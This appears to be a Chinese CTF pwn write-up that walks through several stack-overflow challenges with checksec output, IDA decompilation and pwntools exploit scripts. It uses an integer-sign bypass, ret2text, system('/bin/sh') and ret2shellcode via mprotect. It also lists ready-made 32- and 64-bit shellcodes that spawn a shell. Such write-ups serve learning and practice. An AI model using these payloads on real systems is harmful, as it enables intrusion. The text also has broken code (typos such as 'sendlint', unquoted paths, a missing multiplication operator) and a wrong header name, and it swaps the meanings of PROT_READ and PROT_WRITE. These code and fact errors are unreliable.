10-16CTF

[SWPUCTF 2022 新生赛]Does your nc work?

依旧是熟悉的nc签到,不再赘述

[BJDCTF 2020]babystack2.0

checksec分析

1
2
3
4
5
6
[*] '/mnt/hgfs/windowshare/pwn (1)'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

保护只有一个NX

不太严密

ida静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}

观察到size_t,这是一种无符号整数类型,通常用于表示对象的大小或数组的索引,size_t的大小(即占用多少字节)是平台相关的,它可以根据编译器和操作系统的不同而变化。通常情况下,size_t被设计成足够大,可以容纳你的系统上最大可能的对象大小

言归正传

观察到read函数,查看代码逻辑,read接受的数值长度是由nbytes决定的,但是如果nbytes太大会使得程序结束,难题来了,我们该如何解决?

思考到nbytes是无符号整数(unsigned int),但是在if语句中又强制将nbytes转换成int(整数类型),因此我们可以输入-1,来绕过第一个if,-1的无符号数为65535(FFFF)足够大,可以支撑我们构造payload

exp如下

1
2
3
4
5
6
7
8
9
10
python>>
from pwn import*
p=process('./pwn1')
context.log_level = 'debug'
p.recvuntil('[+]Please input the length of your name:')
p.sendline('-1')
p.recvuntil('[+]What's u name?')
payload = b'a'*0x18+p64(0x400726)
p.sendlint(payload)
p.interactive()

cat flag

[BJDCTF 2020]babystack

checksec查看保护

1
2
3
4
5
6
[*] '/mnt/hgfs/windowshare/ret2text'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

还是只有一个NX保护

ida分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}

和上一题同源

exp

1
2
3
4
5
6
7
python>>
from pwn import*
p = process(./pwn)
p.sendline(100)
payload = b'a'0x18+p64(0x4006e6)
p.sendline(payload)
p.interactive()

没什么好说的,上一题懂了这题自然会

[HNCTF 2022 Week1]easync

nc打过去慢慢找,我还分析了半天,无语ing

[NISACTF 2022]ezstack

1
2
3
4
5
6
7
[*] '/mnt/hgfs/windowshare/pwn (1)'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

检查后发现是32位文件,注意一点,文件开启了NX保护

ida分析

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
shell();
return 0;
}

观察到shell函数

跟进

1
2
3
4
5
6
7
ssize_t shell()
{
char buf[72]; // [esp+0h] [ebp-48h] BYREF

system("echo Welcome to NISACTF");
return read(0, buf, 0x60u);

这道题有点特殊,由于没有后门函数,我们需要自己构造system(/bin/sh)

不过好在system已经给我们了,只需要找到/bin/sh就好,shift+F12,发现/bin/sh

exp

1
2
3
4
5
6
7
8
python>>
from pwn import*
p = process(./pwn)
system_addr = 0x08048512
bin_sh_addr =0x0804A024
payload = b'a'*(0x48+4)+p32(system_addr)+p32(bin_sh_addr)
p.sendline(payload)
p.interactive()

[GDOUCTF 2023]Shellcode

最后一道题依然是shellcode

check一下把~

1
2
3
4
5
6
[*] '/mnt/hgfs/windowshare/pwn(2)'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

只有NX保护

ida

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
puts("Please.");
read(0, &name, 0x25uLL);
puts("Nice to meet you.");
puts("Let's start!");
read(0, buf, 0x40uLL);
return 0;
}

熟悉的没有后门

但是NX保护开启了,bss段不可执行,怎么办呢?

还记得我们的老朋友mprotect()吗,相信搜素后的你肯定知道这个函数的作用

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
函数原型如下:

1
2
3
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。

也就是说,部分地址在经过这一句代码后,保护属性变成了可执行! 因此可以用ret2shellcode!

观察到name写入了bss段,熟悉的感觉,准备构造shellcode

本题考查一个点,正常的sh.asm(shellcraft.sh())生成的字节数是44字节的,而本题要求0x25字节的shellcode

下面给出一些好用的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 32位 短字节shellcode --> 21字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
------------------------------------------------------------------------------------
# 32位 纯ascii字符shellcode
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
--------------------------------------------------------------------------------------------------------
# 32位 scanf可读取的shellcode
\xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh
---------------------------------------------------------------------------------------------------------# 64位 scanf可读取的shellcode 22字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
-----------------------------------------------------------------------------------------------------
# 64位 较短的shellcode 23字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
-----------------------------------------------------------------------------------------------------
# 64位 纯ascii字符shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
python>>
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn1')

bss_addr = 0x6010A0

shellcode = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"

p.sendline(shellcode)

payload = b'a' * (0xA+8) + p64(bss_addr)

p.sendline(payload)

p.interactive()